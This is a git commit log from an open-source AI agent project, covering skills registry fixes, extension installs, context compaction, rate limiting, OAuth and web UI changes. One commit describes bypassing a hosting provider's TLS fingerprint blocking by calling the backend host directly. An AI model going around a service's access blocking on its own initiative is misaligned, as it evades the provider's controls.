Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: deduplicate wizard Docker status handling per review

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: fix skills system - enable by default, fix registry connectivity and install

- Enable skills system by default (SKILLS_ENABLED no longer required)
- Bypass Vercel TLS fingerprint blocking by pointing DEFAULT_REGISTRY_URL
  directly at the Convex backend (wry-manatee-359.convex.site)
- Handle ZIP archives from ClawHub download API - the registry returns
  ZIP files containing SKILL.md, not raw text. Uses flate2 (existing dep)
  to extract SKILL.md from the archive.
- Surface catalog search errors in the UI with a yellow warning banner
  instead of silently returning empty results
- Handle both {"results":[...]} envelope and bare [...] array JSON formats
  from the search API
- Add ClawHub links and metadata to search result cards (clickable skill
  names linking to clawhub.ai, relevance score, "updated X ago" recency)
- Fix 3 pre-existing clippy warnings in tests/html_to_markdown.rs

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address security review feedback on ZIP extraction and SSRF

- Cap download size to 10 MB before reading response body
- Guard against ZIP bombs: cap uncompressed_size at 1 MB, wrap
  DeflateDecoder with .take() read limit
- Use checked_add for ZIP header offset arithmetic to prevent overflow
- Remove .unwrap() on try_into() -- use direct array construction
- Handle IPv4-mapped IPv6 addresses (::ffff:192.168.x.x) in SSRF checks
- Don't leak internal registry URLs in user-facing catalog_error messages
- Fix non-ASCII panic in catalog response debug logging (use .get() instead
  of byte slicing)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: add /skills command and enrich search results with ClawHub metadata

- Parse /skills and /skills search <query> as SystemCommands in submission.rs
- Add skill_catalog to AgentDeps and wire it through main.rs
- Handle "skills" command in commands.rs: list installed skills and search ClawHub
- Add /skills and /skills search <q> entries to /help output
- Add SkillDetail, SkillStats, SkillOwner structs to catalog.rs
- Add fetch_skill_detail() calling GET /api/v1/skills/{slug} on Convex backend
- Add enrich_search_results() to fetch stars/downloads/owner for top 5 results in parallel
- Fix SkillDetailResponse wrapper struct to match actual API shape: {"skill":{...},"owner":{...}}
- Surface stars, downloads, owner in web UI skill search cards (app.js)
- Surface enriched data in skills web handler and skill_search tool output

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix: cargo fmt after merge conflict resolution

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* fix: separate installed_skills dir for correct trust on restart, remove duplicate handlers

Trust level bug: skills installed from ClawHub were written to user_dir
(~/.ironclaw/skills/) which is discovered as Trusted on restart. Now installs
go to ~/.ironclaw/installed_skills/ which is discovered as Installed, matching
the documented skill directory layout.

Changes:
- SkillsConfig: add installed_dir field (SKILLS_INSTALLED_DIR env var,
  default ~/.ironclaw/installed_skills/)
- SkillRegistry: add with_installed_dir() builder, installed_dir()/
  install_target_dir() accessors, and discover installed_dir with
  SkillTrust::Installed in discover_all()
- All install paths (web handler, skill tool) use install_target_dir()
  instead of user_dir() so new installs land in the correct directory
- 3 new registry tests: test_installed_dir_uses_installed_trust,
  test_install_target_dir_prefers_installed_dir,
  test_user_dir_stays_trusted_with_installed_dir

Duplicate handler cleanup: handlers/skills.rs was the canonical implementation
but the handlers module was never compiled (not declared in web/mod.rs), so
server.rs had its own duplicate inline definitions that the router used.
Wire up the handlers module, delete the 260-line duplicate in server.rs, and
have server.rs import skills handlers from handlers::skills. Fix pre-existing
compile error in handlers/extensions.rs (missing needs_setup field). Add
#[allow(dead_code)] on not-yet-migrated handler modules to suppress warnings.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: probe more Docker socket paths on macOS

Docker Desktop 4.13+ (stabilised in 4.18) no longer creates the
/var/run/docker.sock symlink by default. The API socket lives at
~/.docker/run/docker.sock, which bollard's connect_with_local_defaults()
does not try.

Add a fallback probe list covering the common macOS container runtimes:
- ~/.docker/run/docker.sock   — Docker Desktop 4.13+
- ~/.colima/default/docker.sock — Colima
- ~/.rd/docker.sock             — Rancher Desktop

Remove the bogus ~/.docker/desktop/docker.sock path that was added
previously; it is not an API socket on any known Docker installation.

Fixes the false-negative "Docker is installed but not running" warning
reported by Illia on macOS with Docker Desktop 4.18+.

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* Harden Docker detection for rootless Linux and Windows fallback

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-23 10:04:02 -08:00
f4ba85ffa2 fix: fall back to build-from-source when extension download fails (#312)
* fix: fall back to build-from-source when extension download fails

Extension manifests hardcode GitHub release URLs for WASM artifacts,
but these artifacts are not yet published to any release. This causes
all WASM extension installs to fail with HTTP 404.

Add a fallback_source field to RegistryEntry so that when the primary
WasmDownload source fails (e.g., 404), the installer automatically
falls back to WasmBuildable (build from source). The manifest
conversion now populates this fallback whenever a download URL is set.

Fixes nearai/ironclaw#298

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Address Copilot/Gemini review feedback

- Skip fallback for AlreadyInstalled errors (Gemini)
- Include both primary and fallback errors in combined message (Copilot)
- Fix comment to match broader behavior (any error, not just download) (Copilot)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Address serrrfirat review feedback

- Forward AlreadyInstalled from fallback directly instead of wrapping
  in ExtensionError::Other (defensive, prevents misleading error message)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Add unit tests for fallback install logic

Extract fallback_decision() and combine_install_errors() from
install_from_entry() to enable direct unit testing without requiring
a full ExtensionManager setup.

Tests cover:
- Primary success returns directly (no fallback attempted)
- AlreadyInstalled short-circuits (no fallback attempted)
- Download failure with fallback available triggers fallback
- Error without fallback source returns primary error
- Both-fail produces combined error with both messages
- AlreadyInstalled from fallback is forwarded directly

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
Co-authored-by: firat.sertgoz <[email protected]>
2026-02-23 06:51:43 -08:00
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
ebb4ce95e3 chore: release v0.11.1 (#319)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-02-23 01:24:01 +00:00
Illia Polosukhin 27c9353eaa Ignore out-of-date generated CI so custom release.yml jobs are allowed 2026-02-22 16:51:24 -08:00
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
004906e582 chore: release v0.11.0 (#318)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-02-23 00:41:14 +00:00
6f21cfa680 fix: auto-compact and retry on ContextLengthExceeded (#315)
* fix: auto-compact and retry on ContextLengthExceeded in agentic loop

When the LLM returns a context-length-exceeded error mid-turn, the
dispatcher now automatically compacts the conversation history and
retries once instead of propagating the raw error to the user.

The compaction keeps all system messages (system prompt, skill context),
the last user message, and all subsequent messages (current turn's tool
calls and results), dropping older conversation history. A note is
inserted to inform the LLM that earlier context was dropped.

If the retry also fails, the original error is returned.

Fixes nearai/ironclaw#260

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* Address Gemini/Copilot review feedback

- Fix system message duplication: only collect system messages before the
  last User message to avoid duplicating nudges in the tail slice (Gemini + Copilot)
- Only add compaction note when earlier history is actually dropped (Copilot)
- Propagate actual retry error instead of masking with original (Copilot)
- Fix else branch to preserve system messages when no User messages exist
- Add test for nudge-after-user deduplication

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-23 00:29:31 +00:00
Illia PolosukhinGitHubgemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
7bc3d5507a doc(README): Adding badges to readme (#316)
* Adding badges to readme

* Update README.md

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

---------

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
2026-02-22 22:06:05 +00:00
7f68207f1e Feat/completion (#240)
* feat: add OpenRouter usage examples

* feat: add HTPS headers

* feat: add shell completion generation via clap_complete

* feat: add shell completion generation via clap_complete

* feat: add shell completion generation via clap_complete

* Refactor completion: use clap_complete::Shell directly, improve tests, remove tracing duplication, fix .env.example and Cargo.toml

* fix: rename init_cli_logging to init_cli_tracing (sync with main)

---------

Co-authored-by: BroccoliFin <[email protected]>
Co-authored-by: firat.sertgoz <[email protected]>
2026-02-22 19:08:43 +00:00
github-actions[bot]GitHubgithub-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>Illia Polosukhin
b8901baafd chore: release v0.10.0 (#279)
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: Illia Polosukhin <[email protected]>
2026-02-22 18:16:21 +00:00
4003300a8c fix: improve Telegram status delivery and reliability (#304)
* fix: make Telegram status prompts reliable

Approval and auth prompts could be missed when polling or reply-context sends failed, leaving users stuck in waiting states. This adds explicit status mapping and retries, keeps typing active through intermediate work while suppressing noisy tool telemetry, and adds regression tests plus CI coverage for the Telegram channel crate.

* fix: normalize terminal status handling

Terminal status strings from the agent loop can vary in casing and formatting, which could leak internal status lines to Telegram. This normalizes Done/Interrupted mapping and filters terminal status text consistently to keep chat UX clean while preserving actionable prompts.

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-22 18:07:57 +00:00
Robert YanandGitHub c68dc2ff2a feat: update dashboard favicon (#309) 2026-02-22 18:06:50 +00:00
d4785ce4d2 fix: persist user message at turn start before agentic loop (#305)
* fix: persist user message at turn start before agentic loop

Split persist_turn into persist_user_message + persist_assistant_response.
The user message is now written to DB immediately after thread.start_turn(),
before the agentic loop runs. This ensures the message survives process
crashes mid-response. The assistant response is persisted only on completion.

Updated all 6 call sites in thread_ops.rs (success, error, approval
success/error, rejection, and auth intercept paths).

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* fix: document persist_assistant_response dependency on persist_user_message

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* style: apply cargo fmt

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* fix: re-ensure conversation in persist_assistant_response

Add ensure_conversation call and user_id parameter to
persist_assistant_response so assistant replies are still persisted
even if persist_user_message failed transiently at turn start.

Addresses PR review feedback from @ilblackdragon.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-22 08:50:28 +00:00
2544df1c4a feat: add web UI test skill for Chrome extension (#302)
* feat: add web UI test skill for Chrome extension testing

Add a SKILL.md checklist for manually testing the IronClaw web gateway
UI using the Claude for Chrome browser extension. Covers connection,
chat, skills tab (search, install by search, install by URL, remove),
and smoke tests for other tabs.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: use placeholder token and correct cleanup path per review

- Replace hardcoded test123 token with <your-token> placeholder
- Fix cleanup path: ~/.ironclaw/installed_skills/ (not skills/)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-22 08:49:35 +00:00
82f24bf08f fix: block send until thread is selected (#306)
* fix: block send until thread is selected

Prevents messages from ending up in orphan threads when user sends
while currentThreadId is null during page load.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

* fix: guard enableChatInput against null thread + add user feedback

Prevents SSE events from re-enabling input before a thread is selected.
Adds status message when user tries to send without a thread.

Co-Authored-By: Claude Opus 4.6 (1M context) <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-22 08:19:18 +00:00
510fba4c92 fix: reload chat history on SSE reconnect (#307)
When SSE auto-reconnects after a server restart, the chat now
re-syncs from the database so no messages are lost.

Co-authored-by: Claude Opus 4.6 (1M context) <[email protected]>
2026-02-22 08:18:46 +00:00
04d3b005b1 feat: implement FullJob routine mode with scheduler dispatch (#288)
* feat: implement FullJob routine mode with scheduler dispatch

FullJob routines previously fell back to lightweight mode (single LLM call,
no tools) with a warning. This wires them to the existing Scheduler/Worker
infrastructure so they dispatch real jobs with full tool access.

Fire-and-forget model: the routine creates a job via ContextManager, schedules
it, links the routine_run to the job_id, and completes immediately. The job
runs independently with full tool access.

- Add RoutineError::JobDispatchFailed variant
- Add RoutineStore::link_routine_run_to_job (PostgreSQL + libSQL)
- Add execute_full_job() in routine_engine with context_manager/scheduler
- Wire context_manager + scheduler into RoutineEngine from agent_loop
- Fix pre-existing clippy warnings in tests/html_to_markdown.rs

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: persist job to DB before scheduling in execute_full_job

The worker emits job_actions and llm_calls rows that reference agent_jobs
via foreign key. Without persisting the job first, those inserts can fail.
Match the pattern from commands.rs: fetch JobContext, save_job(), then schedule.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: consolidate job dispatch into Scheduler::dispatch_job and wire max_iterations

Move the create + persist + schedule sequence into a single
Scheduler::dispatch_job() method so callers (commands.rs, routine_engine.rs)
don't duplicate the logic. FullJob routines now pass max_iterations via job
metadata, and the worker reads it (defaulting to 50 if unset).

Also removes the context_manager field from RoutineEngine since dispatch_job
handles everything internally.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: clamp max_iterations to 500 and log category update failures

Address PR review feedback:
- worker.rs: clamp max_iterations from metadata to MAX_WORKER_ITERATIONS (500)
  to prevent unbounded LLM token usage from malicious/buggy configs
- commands.rs: log warning on category update failure instead of silently
  discarding the error

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* feat: persist worker events to DB and fix activity tab rendering

In-process Worker (used by Scheduler::dispatch_job) now persists events
via save_job_event at key execution points: plan creation, LLM
responses, tool_use, tool_result, and job completion/failure/stuck.
Event data shapes match the container worker format so the gateway
activity tab renders them correctly.

Frontend: tool_result errors now show a red X icon with danger styling
instead of a silent empty output. The result event falls back to the
error field when message is absent.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-22 08:18:21 +00:00
ea57447649 feat: hot-activate WASM channels, channel-first prompts, unified artifact resolution (#297)
* refactor: unify WASM artifact resolution into registry/artifacts.rs

Consolidate duplicated WASM find/build/install logic from 5+ files into
a single src/registry/artifacts.rs module. This fixes two bugs:
- registry/installer.rs now respects CARGO_TARGET_DIR (was hardcoded)
- channels/wasm/bundled.rs now searches all WASM triples (was wasip2 only)

Also includes: extension manager hot-activation for WASM channels,
extension guidance in LLM prompts, channel manager hot-add support,
webhook router channel lookup, and minor cleanups.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: send approval prompts as messages on WASM channels (Telegram, Slack)

WASM channels mapped ApprovalNeeded status to a typing indicator,
so users on Telegram never saw tool approval prompts — the agent
got stuck in AwaitingApproval and all subsequent messages failed
with "Waiting for approval".

- Intercept ApprovalNeeded in WasmChannel::handle_status_update and
  send the prompt as an actual message via call_on_respond, showing
  tool name, description, parameters, and yes/no/always instructions
- Guard against empty LLM responses after clean_response() strips
  reasoning_content think-tags (defense-in-depth for reasoning models)
- Add reasoning_content fallback to NearAiChatProvider::complete()
  for consistency with complete_with_tools()
- Add debug logging when empty responses are suppressed
- Improve error logging for channel respond() failures
- Register WASM channel webhook routes before credential checks so
  platforms don't deactivate webhook URLs with 404s

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR #297 review comments

- ChannelManager::add: use async write().await instead of try_write()
- resolve_target_dir: resolve relative CARGO_TARGET_DIR against crate_dir
- install_wasm_files: log warning on capabilities copy failure
- refresh_active_channel: load capabilities file for webhook secret name
- activate_wasm_channel: validate name against path traversal
- Fix cargo fmt formatting in nearai_chat.rs

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: wire up channel runtime for hot-activation and address PR review round 2

- Wire up set_channel_runtime() in main.rs so hot-activation actually works
  (with_channel_runtime was never called — hot-activation was dead code)
- Change ExtensionManager channel runtime fields to RwLock<Option<...>>
  interior mutability so set_channel_runtime(&self) works after Arc wrapping
- Fix artifact tests to use resolve_target_dir() instead of hardcoding
  "target/" (breaks when CARGO_TARGET_DIR is set)
- Fix bundled.rs build hint: cargo component build (not cargo build --target)
- Fix wasm_artifact_path doc: binary_name should not include .wasm extension

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: use char-aware truncation to prevent UTF-8 panic in approval prompt

&s[..77] panics on multi-byte UTF-8 (CJK, emoji). Use s.chars().take(77)
for safe truncation at character boundaries.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-22 08:09:56 +00:00
a320f265b3 Fix tool schema OpenAI compatibility (#301)
* fix: remove union type arrays from tool schemas for OpenAI compatibility

OpenAI rejects JSON Schema union types containing "array" without an
"items" subschema. The http tool's "body" and json tool's "data" params
used union types to accept any value. Replace with freeform (untyped)
schemas which OpenAI treats as accepting any JSON value.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: update schema tests to assert type is absent, fix missed json.rs test

- http.rs test: assert body has no "type" (not just has description)
- json.rs test: update to match the freeform schema change (was still
  asserting type is present)

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-22 07:52:34 +00:00
c3ce26278a refactor: simplify config resolution and consolidate main.rs init (#287)
* refactor: simplify config resolution and consolidate main.rs init into AppBuilder

- Add parse_bool_env() and parse_string_env() helpers to eliminate repetitive
  5-line optional_env/parse/map_err/unwrap_or boilerplate across 12 config files
- Add EmbeddingsConfig::create_provider() to centralize embeddings construction
  (fixes hardcoded 1536 dimensions and missing Ollama provider in app.rs)
- Extract init_cli_tracing(), setup_wasm_channels(), start_tunnel(),
  run_memory_command(), run_worker(), run_claude_bridge() from main.rs
- Replace ~600 lines of inline init in main.rs with AppBuilder::build_all()
- Expose catalog_entries from AppComponents for gateway registry entries
- Net reduction: ~738 lines across 15 files

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: propagate dev_loaded_tool_names from AppBuilder and add parse_option_env helper

Address PR review feedback:

- Capture dev_loaded_tool_names from WASM loading in init_extensions()
  and expose via AppComponents so bootstrap_hooks receives the actual
  dev tool names instead of an empty slice (fixes silent hook skip)
- Add parse_option_env<T>() helper for Option<T> config fields,
  simplifying max_cost_per_day_cents and max_actions_per_hour in agent.rs

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: fetch real NEAR AI pricing and unify cost calculation path

CostGuard was independently looking up pricing via costs::model_cost(),
falling back to GPT-4o default rates when NEAR AI model names didn't
match the static table — causing ~3x cost overestimates in logs.

- Add pricing map to NearAiChatProvider that fetches real rates from
  /v1/model/list at startup (background, non-blocking)
- Update cost_per_token() to check fetched pricing first, then static
  table, then default
- Add cost_per_token parameter to CostGuard::record_llm_call() so the
  dispatcher passes provider-sourced rates directly

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* chore: update default NEAR AI model to GLM-latest

Replace fireworks llama4-maverick-instruct-basic with zai-org/GLM-latest
as the default model in config and setup wizard.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: align wizard default model name with config

Change "zai/GLM-latest" to "zai-org/GLM-latest" in wizard.rs to match
the default in config/llm.rs.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-22 02:54:31 +00:00
mfcoburnandGitHub 91b602790a Update image source in README.md 2026-02-21 17:21:50 -05:00
mfcoburnandGitHub e5ce076773 Add files via upload 2026-02-21 15:14:57 -07:00
c1f3b83c98 refactor: remove ExtensionSource::Bundled, use download-only install for WASM channels (#293)
The Bundled variant and its local-artifacts fallback are superseded by the
embedded registry catalog which provides WasmDownload entries with GitHub
release URLs. The in-chat extension manager now always downloads channel
WASM binaries from releases, simplifying the install path.

The setup wizard retains its own local install_bundled_channel path for
dev builds where build artifacts exist on disk.

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-21 13:55:49 -08:00
37c0158765 Fix: allow OAuth callback to work on remote servers (fixes #186) (#212)
* fix: allow OAuth callback to work on remote servers via OAUTH_CALLBACK_HOST

Fixes #186.

The OAuth callback URL was hardcoded to `http://127.0.0.1:9876` in two
places (NEAR AI login and MCP server auth). On a remote server this URL
is unreachable from the user's browser, making authentication impossible.

Changes:
- Add `callback_host()` to `oauth_defaults` that reads `OAUTH_CALLBACK_HOST`
  (default: `127.0.0.1`)
- Update `bind_callback_listener()` to bind to `0.0.0.0` when a non-loopback
  host is configured, so the port is reachable from outside the machine
- Update `session.rs` and `mcp/auth.rs` to use `callback_host()` instead
  of hardcoded `127.0.0.1` / `localhost`

Usage on a remote server:
  export OAUTH_CALLBACK_HOST=<your-server-ip>
  ironclaw login

* fix: address PR review comments for OAuth callback security

* fix: address serrrfirat review comments on PR #212

---------

Co-authored-by: firat.sertgoz <[email protected]>
2026-02-21 15:39:47 +04:00
0a30c95ee1 Feat: add rate limiting for built-in tools (closes #171) (#276)
* feat: add rate limiting for built-in tools (closes #171)

Extend the Tool trait with an optional rate_limit_config() method and
wire a shared sliding-window RateLimiter into the tool execution path in
worker.rs so that per-tool per-user limits are enforced at runtime.

- Add ToolRateLimitConfig struct (requests_per_minute / requests_per_hour)
  and rate_limit_config() default method to the Tool trait
- Extract shared RateLimiter from tools/wasm/ into tools/rate_limiter.rs;
  WASM rate_limiter.rs now re-exports from the shared module
- Add RateLimited error variant to crate::error::ToolError
- Register RateLimiter on ToolRegistry and check limits in execute_tool_inner
- Apply conservative configs to high-impact tools:
    ShellTool        30 rpm / 300 rph
    HttpTool         30 rpm / 500 rph
    WriteFileTool    20 rpm / 200 rph
    ApplyPatchTool   20 rpm / 200 rph
    MemoryWriteTool  20 rpm / 200 rph
    CreateJobTool     5 rpm /  30 rph

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

* refactor: address Gemini review comments on rate limiter

- worker.rs: collapse nested if-let into a single `if let ... && let ...`
  (clippy::collapsible_if)
- rate_limiter.rs: extract check_internal(record: bool) helper to DRY up
  check_and_record / check (were identical except for the increment step)
- rate_limiter.rs: replace magic numbers 60 / 3600 with MINUTE_SECS /
  HOUR_SECS constants

Co-Authored-By: Claude Sonnet 4.6 <[email protected]>

---------

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
Co-authored-by: firat.sertgoz <[email protected]>
2026-02-21 14:39:53 +04:00
b3bf50f10e feat: add pairing/permission system to all WASM channels and fix extension registry (#286)
Port Telegram's permission model (owner_id, dm_policy, allow_from, pairing codes)
to Discord, Slack, and WhatsApp WASM channels. Add web UI for configuration and
pairing approval. Fix extension registry issues preventing Discord install and
causing Slack activation to hit the wrong endpoint.

WASM channels:
- Discord: add DiscordConfig, permission checks, ephemeral pairing replies,
  fix capabilities.json (header_name→name), downgrade wit-bindgen to 0.36
- Slack: expand SlackConfig with permission fields, add check_sender_permission
  and send_pairing_reply via chat.postMessage
- WhatsApp: expand WhatsAppConfig with permission fields, add permission checks
  and pairing reply via Cloud API
- Telegram: reformat capabilities.json, add setup.required_secrets

Extension system:
- Add Discord to KNOWN_CHANNELS in bundled.rs and to extension registry
- Rename "slack" MCP→"slack-mcp", "slack-channel"→"slack" to fix name collision
- Add ExtensionSource::Bundled variant handling in discovery.rs
- Add get_setup_schema/save_setup_secrets to ExtensionManager
- Add needs_setup field to InstalledExtension

Web gateway:
- Add GET/POST /api/extensions/{name}/setup for configuration modal
- Add GET /api/pairing/{channel} and POST /api/pairing/{channel}/approve
- Add configure modal UI (password fields, provided badges, auto-generate hints)
- Add pairing request UI on active WASM channel cards
- Show "Restart to activate" label instead of Activate button for WASM channels

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-20 23:21:32 -08:00
48b5323ec9 feat: group chat privacy, channel-aware prompts, and safety hardening (#285)
Prevent personal memory (MEMORY.md) from leaking into group chat contexts
by adding system_prompt_for_context(is_group_chat) to the workspace. Add
channel-specific formatting hints (Discord, Telegram, Slack, WhatsApp),
runtime metadata injection, group chat behavioral guidance with NO_REPLY
silent token, safety rules in the system prompt, tool call style guidance,
wrap_external_content() for untrusted data, and improved workspace seed
files with richer identity/soul/agent templates and heartbeat checklist.

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-21 06:28:33 +00:00
3124ab2b7f docs: add LLM providers guide (OpenRouter, Together AI, Fireworks, Ollama, vLLM) (#193)
- Add docs/LLM_PROVIDERS.md with setup instructions for all supported providers
- Expand .env.example with Together AI and Fireworks AI example configs
- Add "Alternative LLM Providers" section to README with quickstart snippet

Co-authored-by: Claude Sonnet 4.6 <[email protected]>
Co-authored-by: firat.sertgoz <[email protected]>
2026-02-21 10:11:54 +04:00
dbd3e0807f Feat/html to markdown #106 (#115)
* feat: add HTML-to-Markdown conversion for web content

- Add readabilityrs for content extraction
- Add html-to-markdown for conversion
- Feature-gated behind html-markdown flag
- Integrates with HTTP tool response handling
- Includes comprehensive tests and examples

Closes #106

* Update comments for is_html_response helper and fix tests to not fail silently in certain instances

---------

Co-authored-by: Zach Frederick <[email protected]>
Co-authored-by: Illia Polosukhin <[email protected]>
2026-02-21 06:05:16 +00:00
436066415b feat: embedded registry catalog and WASM bundle install pipeline (#283)
* feat: embedded registry catalog and WASM bundle install pipeline

Embed registry manifests at compile time so the extension catalog is
available without network access. Add tar.gz bundle support for WASM
extension downloads (tools and channels), a /api/extensions/registry
endpoint, CI job to build and publish WASM bundles on release, and
ephemeral in-memory secrets fallback so the extension manager works
even without a persistent secrets store.

Key changes:
- build.rs: collect registry/*.json into embedded_catalog.json at compile time
- src/registry/embedded.rs + catalog.rs: load embedded or on-disk catalog
- src/extensions/manager.rs: download_and_install_wasm handles tar.gz bundles,
  bare .wasm files, and separate capabilities downloads; wasm channel install
- src/channels/web/server.rs: /api/extensions/registry endpoint + no-cache headers
- src/app.rs: ephemeral InMemorySecretsStore fallback for extension manager
- registry/*.json: populate artifact download URLs for release bundles
- .github/workflows/release.yml: build-wasm-extensions CI job
- Simplified setup wizard and CLI registry commands

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR review — archive hardening, decompression bomb guard, test fix

- Add 100 MB decompressed entry size cap to tar.gz extraction in both
  manager.rs and installer.rs to prevent decompression bombs
- Add archive.set_preserve_permissions(false) and set_unpack_xattrs(false)
  for defense-in-depth against malicious archives
- Fix test assertion logic in catalog.rs (|| → || with correct negation)
- Replace silent tar fallback in CI with explicit if/else for capabilities
- Add warning when installing without SHA256 verification

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: resolve clippy warning in settings.rs and enforce zero-warnings policy

Use struct initializer with ..Default::default() instead of field
reassignment. Update CLAUDE.md to codify zero clippy warnings policy —
all warnings must be fixed before committing, including pre-existing ones.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR review round 2 — build reliability, caps validation, naming

- build.rs: emit per-file rerun-if-changed for reliable content tracking;
  fix bundles fallback to match BundlesFile shape ({"bundles":{}})
- embedded.rs: parse catalog once via OnceLock instead of double-parsing
- manager.rs + installer.rs: add 1 MB size cap on capabilities_url downloads
  with proper error surfacing
- secrets/store.rs: rename misleading `pub mod testing` to `pub mod in_memory`
- server.rs: track installed extensions by (name, kind) tuple to avoid
  false positives across different extension kinds

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-21 05:43:28 +00:00
firat.sertgozGitHubIllia Polosukhingemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
3d4c647216 fix: map Esc to interrupt and Ctrl+C to graceful quit (#267)
* fix: map Esc to interrupt and Ctrl+C to graceful quit

* Apply suggestions from code review

Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>

---------

Co-authored-by: Illia Polosukhin <[email protected]>
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
2026-02-21 04:46:15 +00:00
b68d67bd35 feat: show token usage and cost tracker in gateway status popover (#284)
* feat: show token usage, cost tracker, and uptime in gateway status popover

The "Connected" hover popover in the web gateway now displays three
sections: connection info (SSE/WS counts, uptime), daily cost tracker
(spend + actions/hr), and per-model token usage (input/output counts
with cost per model). Also fixes the field name mismatch between the
backend response and JS rendering that prevented the popover from
showing correct data.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* fix: address PR review — escape HTML in popover, add model_usage test

- Escape model name and cost strings with escapeHtml() before inserting
  into innerHTML to prevent XSS via crafted model names
- Add test_model_usage_per_model_tracking test covering multi-model
  token/cost accumulation in CostGuard

Co-Authored-By: Claude Opus 4.6 <[email protected]>

---------

Co-authored-by: Claude Opus 4.6 <[email protected]>
2026-02-21 03:45:04 +00:00
493e4578d0 feat: support custom HTTP headers for OpenAI-compatible provider (#269)
Add LLM_EXTRA_HEADERS env var (format: Key:Value,Key2:Value2) to inject
custom HTTP headers into every request to OpenAI-compatible endpoints.
This enables OpenRouter attribution headers (HTTP-Referer, X-Title)
and other service-specific headers without code changes.

Closes #179

Co-authored-by: Claude Opus 4.6 <[email protected]>
Co-authored-by: Illia Polosukhin <[email protected]>
2026-02-21 03:06:15 +00:00
250551799b style: adopt agent-market design language for web UI (#282)
* fix: move Logs to status bar and fix chat history ordering after restart

Move the Logs tab out of the main tab bar and into the right-side status
area as a compact pill button next to "Connected". Remove it from the
Ctrl+1-N shortcut order (now Ctrl+1-5).

Fix chat message ordering in libSQL backend: datetime('now') has only
second precision, so back-to-back user+assistant inserts got identical
timestamps causing non-deterministic ORDER BY. Now passes explicit
millisecond-precision timestamps and uses rowid as tiebreaker for
existing data.

Co-Authored-By: Claude Opus 4.6 <[email protected]>

* refactor: separate WASM extensions from MCP servers on Extensions page

Reorganize the Extensions tab into 5 distinct sections: Installed
Extensions, Available WASM Extensions, Install WASM Extension (by
